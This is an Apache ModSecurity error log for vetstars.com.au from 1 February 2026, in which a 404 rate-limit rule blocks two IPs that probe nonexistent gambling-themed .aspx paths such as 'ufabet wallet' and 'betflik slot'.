[Sun Feb 01 07:28:56.605319 2026] [:error] [pid 10509:tid 10585] [client 51.77.43.72:46794] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX6QOFMNpJBihOJgwVsAuAAAAI4"]
[Sun Feb 01 07:28:56.939881 2026] [:error] [pid 10506:tid 10530] [client 51.77.43.72:46802] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX6QOK32IC2Db4uwFyO3pwAAAA4"]
[Sun Feb 01 07:28:57.099426 2026] [:error] [pid 10506:tid 10516] [client 51.77.43.72:46814] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX6QOa32IC2Db4uwFyO3qQAAAAA"]
[Sun Feb 01 07:28:57.349135 2026] [:error] [pid 10506:tid 10539] [client 51.77.43.72:46822] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX6QOa32IC2Db4uwFyO3qwAAABc"]
[Sun Feb 01 07:28:59.157178 2026] [:error] [pid 10508:tid 10559] [client 51.77.43.72:46824] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX6QOwFwdoMQv5EWp9t-DQAAAE8"]
[Sun Feb 01 07:28:59.501014 2026] [:error] [pid 10508:tid 10553] [client 51.77.43.72:46834] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX6QOwFwdoMQv5EWp9t-DgAAAEk"]
[Sun Feb 01 07:28:59.907184 2026] [:error] [pid 10509:tid 10576] [client 51.77.43.72:46844] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX6QO1MNpJBihOJgwVsAvgAAAIU"]
[Sun Feb 01 07:29:00.116729 2026] [:error] [pid 2033:tid 2038] [client 51.77.43.72:46850] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX6QPPF7B4oR5nK3T_MiRQAAAQM"]
[Sun Feb 01 07:29:01.673087 2026] [:error] [pid 2033:tid 2044] [client 51.77.43.72:46860] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX6QPfF7B4oR5nK3T_MiTAAAAQk"]
[Sun Feb 01 07:29:02.013330 2026] [:error] [pid 10616:tid 10623] [client 51.77.43.72:46872] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX6QPmd8pZdmVx6pUp4BIAAAAMM"]
[Sun Feb 01 07:29:02.596380 2026] [:error] [pid 2033:tid 2049] [client 51.77.43.72:46874] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX6QPvF7B4oR5nK3T_MiUQAAAQ4"]
[Sun Feb 01 07:29:02.650918 2026] [:error] [pid 10509:tid 10582] [client 51.77.43.72:46884] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX6QPlMNpJBihOJgwVsAwQAAAIs"]
[Sun Feb 01 07:29:13.488376 2026] [:error] [pid 2033:tid 2042] [client 51.77.43.72:57722] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX6QSfF7B4oR5nK3T_MiewAAAQc"]
[Sun Feb 01 07:29:13.523633 2026] [:error] [pid 2033:tid 2048] [client 51.77.43.72:57712] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX6QSfF7B4oR5nK3T_MifAAAAQ0"]
[Sun Feb 01 07:29:13.737437 2026] [:error] [pid 10509:tid 10578] [client 51.77.43.72:46898] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX6QSVMNpJBihOJgwVsA0wAAAIc"]
[Sun Feb 01 07:29:14.092466 2026] [:error] [pid 2033:tid 2043] [client 51.77.43.72:46914] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX6QSvF7B4oR5nK3T_MifQAAAQg"]
[Sun Feb 01 07:29:16.140105 2026] [:error] [pid 10506:tid 10518] [client 51.77.43.72:33554] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX6QTK32IC2Db4uwFyO3uQAAAAI"]
[Sun Feb 01 07:29:16.196668 2026] [:error] [pid 10616:tid 10624] [client 51.77.43.72:33562] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX6QTGd8pZdmVx6pUp4BNgAAAMQ"]
[Sun Feb 01 07:29:16.260215 2026] [:error] [pid 10616:tid 10626] [client 51.77.43.72:33578] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX6QTGd8pZdmVx6pUp4BNwAAAMY"]
[Sun Feb 01 07:29:16.710078 2026] [:error] [pid 2033:tid 2051] [client 51.77.43.72:33592] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX6QTPF7B4oR5nK3T_MihAAAARA"]
[Sun Feb 01 07:29:18.704739 2026] [:error] [pid 10506:tid 10534] [client 51.77.43.72:33606] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX6QTq32IC2Db4uwFyO3vAAAABI"]
[Sun Feb 01 07:29:18.764899 2026] [:error] [pid 10616:tid 10620] [client 51.77.43.72:33616] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX6QTmd8pZdmVx6pUp4BPwAAAMA"]
[Sun Feb 01 07:29:18.884430 2026] [:error] [pid 10506:tid 10533] [client 51.77.43.72:33632] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX6QTq32IC2Db4uwFyO3vQAAABE"]
[Sun Feb 01 07:29:19.185589 2026] [:error] [pid 10509:tid 10582] [client 51.77.43.72:33646] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX6QT1MNpJBihOJgwVsA3AAAAIs"]
[Sun Feb 01 07:29:21.354438 2026] [:error] [pid 10506:tid 10530] [client 51.77.43.72:33660] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX6QUa32IC2Db4uwFyO3wgAAAA4"]
[Sun Feb 01 07:29:21.387767 2026] [:error] [pid 10508:tid 10554] [client 51.77.43.72:33670] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX6QUQFwdoMQv5EWp9t-PgAAAEo"]
[Sun Feb 01 07:29:21.492899 2026] [:error] [pid 10509:tid 10577] [client 51.77.43.72:33676] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX6QUVMNpJBihOJgwVsA4gAAAIY"]
[Sun Feb 01 07:29:21.794858 2026] [:error] [pid 10508:tid 10567] [client 51.77.43.72:33678] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX6QUQFwdoMQv5EWp9t-QAAAAFc"]
[Sun Feb 01 08:10:39.852289 2026] [:error] [pid 10509:tid 10580] [client 51.68.34.57:48138] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX6Z_1MNpJBihOJgwVsORAAAAIk"]
[Sun Feb 01 08:10:41.421072 2026] [:error] [pid 10508:tid 10550] [client 51.68.34.57:48148] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX6aAQFwdoMQv5EWp9uMeAAAAEY"]
[Sun Feb 01 08:10:42.471104 2026] [:error] [pid 2033:tid 2043] [client 51.68.34.57:53952] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX6aAvF7B4oR5nK3T_M3eAAAAQg"]
[Sun Feb 01 08:10:44.077331 2026] [:error] [pid 2033:tid 2048] [client 51.68.34.57:53958] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX6aBPF7B4oR5nK3T_M3fQAAAQ0"]
[Sun Feb 01 08:10:45.233917 2026] [:error] [pid 2033:tid 2049] [client 51.68.34.57:53974] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX6aBfF7B4oR5nK3T_M3gwAAAQ4"]
[Sun Feb 01 08:10:46.988735 2026] [:error] [pid 2033:tid 2052] [client 51.68.34.57:53980] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX6aBvF7B4oR5nK3T_M3iwAAARE"]
[Sun Feb 01 08:10:48.123088 2026] [:error] [pid 10506:tid 10516] [client 51.68.34.57:53984] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX6aCK32IC2Db4uwFyPDpAAAAAA"]
[Sun Feb 01 08:10:49.864326 2026] [:error] [pid 10616:tid 10620] [client 51.68.34.57:53990] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX6aCWd8pZdmVx6pUp4SwAAAAMA"]
[Sun Feb 01 08:10:50.841797 2026] [:error] [pid 10509:tid 10587] [client 51.68.34.57:53998] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX6aClMNpJBihOJgwVsOUQAAAJA"]
[Sun Feb 01 08:10:52.447480 2026] [:error] [pid 10509:tid 10586] [client 51.68.34.57:36174] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX6aDFMNpJBihOJgwVsOVwAAAI8"]
[Sun Feb 01 08:10:53.755640 2026] [:error] [pid 10506:tid 10525] [client 51.68.34.57:36178] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX6aDa32IC2Db4uwFyPDqwAAAAk"]
[Sun Feb 01 08:10:55.328620 2026] [:error] [pid 2033:tid 2048] [client 51.68.34.57:36190] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX6aD_F7B4oR5nK3T_M3rAAAAQ0"]
[Sun Feb 01 08:10:56.880058 2026] [:error] [pid 10506:tid 10528] [client 51.68.34.57:36196] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX6aEK32IC2Db4uwFyPDsQAAAAw"]
[Sun Feb 01 08:10:58.183054 2026] [:error] [pid 10509:tid 10579] [client 51.68.34.57:36212] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX6aElMNpJBihOJgwVsOYwAAAIg"]
[Sun Feb 01 08:10:59.881598 2026] [:error] [pid 2033:tid 2047] [client 51.68.34.57:36222] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX6aE_F7B4oR5nK3T_M3tAAAAQw"]
[Sun Feb 01 08:11:01.062669 2026] [:error] [pid 10508:tid 10549] [client 51.68.34.57:36228] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX6aFQFwdoMQv5EWp9uMkgAAAEU"]
[Sun Feb 01 08:11:02.731163 2026] [:error] [pid 10509:tid 10574] [client 51.68.34.57:54488] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX6aFlMNpJBihOJgwVsObQAAAIM"]
[Sun Feb 01 08:11:03.822414 2026] [:error] [pid 2033:tid 2053] [client 51.68.34.57:54504] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX6aF_F7B4oR5nK3T_M3uQAAARI"]
[Sun Feb 01 08:11:05.511716 2026] [:error] [pid 10616:tid 10621] [client 51.68.34.57:54514] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX6aGWd8pZdmVx6pUp4S3wAAAME"]
[Sun Feb 01 08:11:06.694389 2026] [:error] [pid 10508:tid 10552] [client 51.68.34.57:54530] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX6aGgFwdoMQv5EWp9uMmQAAAEg"]
[Sun Feb 01 08:11:09.106250 2026] [:error] [pid 10509:tid 10580] [client 51.68.34.57:54538] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX6aHVMNpJBihOJgwVsOdgAAAIk"]
[Sun Feb 01 08:11:09.467367 2026] [:error] [pid 10509:tid 10578] [client 51.68.34.57:54546] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX6aHVMNpJBihOJgwVsOeAAAAIc"]
[Sun Feb 01 08:11:12.240134 2026] [:error] [pid 2033:tid 2057] [client 51.68.34.57:50494] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX6aIPF7B4oR5nK3T_M3wwAAARQ"]
[Sun Feb 01 08:11:12.777612 2026] [:error] [pid 2033:tid 2036] [client 51.68.34.57:50496] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX6aIPF7B4oR5nK3T_M3xgAAAQE"]
[Sun Feb 01 08:11:14.823030 2026] [:error] [pid 2033:tid 2050] [client 51.68.34.57:50504] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aX6aIvF7B4oR5nK3T_M3zwAAAQ8"]
[Sun Feb 01 08:11:15.723433 2026] [:error] [pid 10616:tid 10627] [client 51.68.34.57:50506] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aX6aI2d8pZdmVx6pUp4S-QAAAMc"]
[Sun Feb 01 08:11:17.548698 2026] [:error] [pid 10509:tid 10572] [client 51.68.34.57:50510] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aX6aJVMNpJBihOJgwVsOewAAAIE"]
